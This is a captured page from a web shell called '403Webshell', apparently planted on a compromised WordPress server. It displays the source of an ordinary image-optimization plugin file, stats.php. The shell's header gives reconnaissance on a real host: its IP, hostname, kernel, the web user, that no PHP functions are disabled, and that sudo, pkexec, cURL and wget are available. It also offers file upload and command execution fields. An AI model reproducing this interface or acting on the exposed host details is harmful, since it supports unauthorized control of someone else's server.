403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/timca.ddns.net/wp-content/plugins/image-optimization/modules/stats/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/timca.ddns.net/wp-content/plugins/image-optimization/modules/stats/classes/stats.php
<?php

namespace ImageOptimization\Modules\Stats\Classes;

use ImageOptimization\Classes\Async_Operation\{
	Async_Operation,
	Async_Operation_Hook,
	Queries\Operation_Query,
};
use ImageOptimization\Classes\Image\Image_Query_Builder;
use ImageOptimization\Modules\Optimization\Classes\Bulk_Optimization\{
	Bulk_Optimization_Queue,
	Bulk_Optimization_Queue_Status,
	Bulk_Optimization_Queue_Type
};

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Stats {
	public static function calculate_global_stats(): array {
		$bulk_optimization_operation_status = self::get_bulk_optimization_status();

		return [
			'optimization_stats' => Optimization_Stats::get_image_stats(),
			'bulk_optimization_status' => $bulk_optimization_operation_status,
			'bulk_restoring_status' => self::get_bulk_restoring_status(),
			'bulk_backup_removing_status' => self::get_bulk_backup_removing_status(),
			'backups_exist' => self::backups_exist(),
		];
	}

	private static function get_bulk_optimization_status(): string {
		$queue = new Bulk_Optimization_Queue( Bulk_Optimization_Queue_Type::OPTIMIZATION );

		if ( ! $queue->exists() ) {
			return Async_Operation::OPERATION_STATUS_NOT_STARTED;
		}

		$queue_status = $queue->get_status();

		switch ( $queue_status ) {
			case Bulk_Optimization_Queue_Status::PROCESSING:
			case Bulk_Optimization_Queue_Status::PENDING:
				return Async_Operation::OPERATION_STATUS_RUNNING;

			case Bulk_Optimization_Queue_Status::CANCELLED:
				return Async_Operation::OPERATION_STATUS_CANCELED;

			case Bulk_Optimization_Queue_Status::COMPLETED:
			case Bulk_Optimization_Queue_Status::FAILED:
			default:
				return Async_Operation::OPERATION_STATUS_NOT_STARTED;
		}
	}

	private static function get_bulk_restoring_status(): string {
		$active_query = ( new Operation_Query() )
			->set_hook( Async_Operation_Hook::RESTORE_MANY_IMAGES )
			->set_status( [
				Async_Operation::OPERATION_STATUS_PENDING,
				Async_Operation::OPERATION_STATUS_RUNNING,
			] )
			->set_limit( 1 );

		$active_operations = Async_Operation::get( $active_query );

		return ! empty( $active_operations )
			? Async_Operation::OPERATION_STATUS_RUNNING
			: Async_Operation::OPERATION_STATUS_NOT_STARTED;
	}

	private static function get_bulk_backup_removing_status(): string {
		$active_query = ( new Operation_Query() )
			->set_hook( Async_Operation_Hook::REMOVE_MANY_BACKUPS )
			->set_status( [
				Async_Operation::OPERATION_STATUS_PENDING,
				Async_Operation::OPERATION_STATUS_RUNNING,
			] )
			->set_limit( 1 );

		$active_operations = Async_Operation::get( $active_query );

		return ! empty( $active_operations )
			? Async_Operation::OPERATION_STATUS_RUNNING
			: Async_Operation::OPERATION_STATUS_NOT_STARTED;
	}

	private static function backups_exist(): bool {
		$query = ( new Image_Query_Builder() )
			->set_paging_size( 1 )
			->return_images_only_with_backups()
			->execute();

		return $query->post_count > 0;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit